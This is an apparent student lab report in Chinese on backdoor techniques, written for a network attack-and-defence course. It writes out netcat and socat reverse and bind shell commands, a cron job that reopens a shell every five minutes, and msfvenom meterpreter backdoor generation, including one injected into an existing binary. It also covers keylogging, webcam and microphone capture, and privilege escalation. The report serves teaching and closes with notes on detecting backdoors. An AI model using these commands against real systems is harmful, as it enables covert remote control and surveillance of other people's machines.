2019-2020 网络对抗技术 20175207 Exp2 后门原理于实践

目录


1 相关概念

1.1 后门? - 后门就是不经过正常认证流程而访问系统的通道。

1.2 哪里有后门?

  • 编译器留后门
  • 操作系统留后门
  • 应用程序中留后门(最常见)
  • 潜伏于操作系统中/伪装为特定应用的专门后门程序

2 常用后门工具

2.1 NC/netcat

  • 相关介绍
  • 提供以下主要功能的访问
    • 与任何端口的出站和入站连接(TCP或UDP)
    • 特色隧道模式,它还允许特殊的隧道,例如UDP到TCP,并可以指定所有网络参数(源端口/接口,侦听端口/接口和允许连接到隧道的远程主机)。
      内置端口扫描功能,带有随机发生器
    • 高级用法选项,例如缓冲的发送模式(每N秒一行)和已传输和接收的数据的十六进制转储(到stderr或到指定的文件)
    • 可选的RFC854 telnet代码解析器和响应器
  • 系统
    • Linux:一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
    • 下载ncat.rar,解压即可使用
  • Win获得Linux Shell 基于win7/kali linux
    • 获取windows主机ip地址:ipconfig/all
    • windows打开监听:ncat.exe -l -p 8888
    • Linux反弹连接windows:nc 192.168.137.133 8888 -e /bin/sh
    • windows获得一个linux shell,可运行任何指令:我们试一下ls指令
  • Linux获得Win Shell
    • 获取Linux主机ip地址:ifconfig/all
    • Linux运行监听指令:nc -l -p 8888
    • Windows反弹连接Linux:ncat.exe -e cmd.exe 192.168.137.130 8888
    • Linux下看到Windows的命令提示:我们试一下dir指令和whoami指令
  • Netcat扩展知识

2.2 Meterpreter

2.3 corn

  • corn机制
    • cron可以让系统在指定的时间,去执行某个指定的工作,我们可以使用crontab指令来管理cron机制
  • corntab表达式
+---------------- minute  分钟(0 - 59)
|  +------------- hour    小时(0 - 23)
|  |  +---------- day     日期(1 - 31)
|  |  |  +------- month   月份(1 - 12)
|  |  |  |  +---- week    星期(0 - 7) (星期天=0 or 7)
|  |  |  |  |
*  *  *  *  *  要运行的命令
  • crontab命令
    • man crontab查看命令手册
  • corn使用示例
    • 创建corn任务:
      crontab -e
      任意选择一个编辑器我使用的是nano
      */1 * * * * echo "Have a break now." >> /tmp/test.txt 每隔1分钟输出Have a break now到/tmp/test.txt
    • 查看定时任务:crontab -l
    • 捕捉/tmp/test.txt
  • 参考:①cron和crontab命令详解,②Shell命令_Cron使用

3 实验内容

3.1 使用netcat获取主机操作Shell,cron启动 - Win 开启监听:`ncat.exe -l -p 8888` - Kali cron启动:每5分钟相应ip主机会获得一个shell ``` crontab -e */5 * * * * /bin/netcat 192.168.137.133 8888 -e /bin/sh ``` ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317185659214-366611307.png) 五分钟后…… ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317190128833-567980219.png)

3.2 使用socat获取主机操作Shell,任务计划启动

  • Win创建socat任务
    • 控制面板-->管理工具-->任务计划程序-->创建任务(右侧边栏)
    • 常规:设置名称 我设置的是20175207
    • 触发器:新建(设置如下)
    • 操作:新建(设置如下)
      程序或脚本中为socat.exe的路径
      添加参数中为tcp-listen:8888 exec:cmd.exe,pty,stderr 把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout
    • 依次确认
    • 查看20175207任务状态为准备就绪,点击运行
  • Kali 在Linux中获取cmd shell:socat - tcp:192.168.137.133:8888

3.3 使用 MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • Kali Linux中生成后门可执行文件
    注意:这里的ip地址为控制端ip,即kali主机的ip
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -f exe > 20175207_backdoor.exe

  • 将后门文件20175207_backdoor.exe传送到Win7主机中
    • Win ncat.exe -lv 8888 > 20175207_backdoor.exe
    • Kali nc 192.168.137.133 8888 < 20175207_backdoor.exe
      注意:这里的IP地址为被控主机IP,即Win7的ip
    • 查看Win7中是否有后门文件
  • Kali 进行监听
    • 进入msf控制台:msfconsole
    • 使用监听模块,设置payload,开始监听(配置如下)
      注意:set LHOST用的是控制端ip,即Kali的ip
  • Win 运行后门程序
    提前设置后门程序可通过防火墙

3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

  • 获取音频:recorf_mic

  • 获取摄像头:webcam_snap

  • 屏幕截图:screenshot

  • 击键记录
    • 开启键盘记录功能:keyscan_start
    • 显示捕捉到的键盘记录信息:keyscan_dump
    • 停止键盘记录功能:keyscan_stop
  • 提权:getsystem system是最高权限
  • 查看当前用户:getuid

    提权失败原因是当前用户为管理员

3.5 使用MSF生成shellcode,注入到实践1的pwn1中,获取反弹连接Shell

  • pwn1是ELF文件,查看pwn1是多少位的:readelf -h pwn1

    Magic后第五个值是01,表明pwn1是32位的。(64位对应值02)
  • 打开MSF:msfconsole
  • 查看payload:show payloads

    我们选择linux/x86/meterpreter/reverse_tcp
  • 对应指令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  • 最终指令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -x pwn1 -f elf > pwn3
  • 将pwn3传输到被控主机
  • MSF打开监听

  • 被控主机运行pwn3_
  • 控制成功

4 问题思考

- 列举你能想到的一个后门进入到你系统的可能方式? - 从网络上下载的文件有后门 - 在网页进行某种操作触发后门进入系统 - 列举你知道的后门如何启动起来的方式(Win/Linux) - 后门绑定线程,某程序运行即启动 - 修改注册表,开机自启 - Metepreter有哪些给你印象深刻的功能? - 构造Shellcode - 查看进程并进行相关操作 - 远程控制桌面 - 本机监听 - 如何发现自己的系统有没有被安装后门? - 通过一些专业软件检测 - 查看是否有不明服务 - 查看是否有不明启动项 - Win 通过`netstat -an`查看计算机网络连接状态 - Win 通过`net user` `net user+用户名`查看是否有不正常的用户

5 实验中遇到的问题

- Win7中运行后门程序出现APPCRASH错误 - 没有找到合适的解决方法,换了win10重新操作 - Win10中创建任务后无法成功运行 ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200318115028172-2112465377.png) - 配置防火墙,允许socat.exe通过防火墙 - 运行任务后Kali监听不到主机 - 主机停止任务,重新运行任务
posted @ 2020-03-18 13:44  20175207冷南  阅读(284)  评论(0编辑  收藏  举报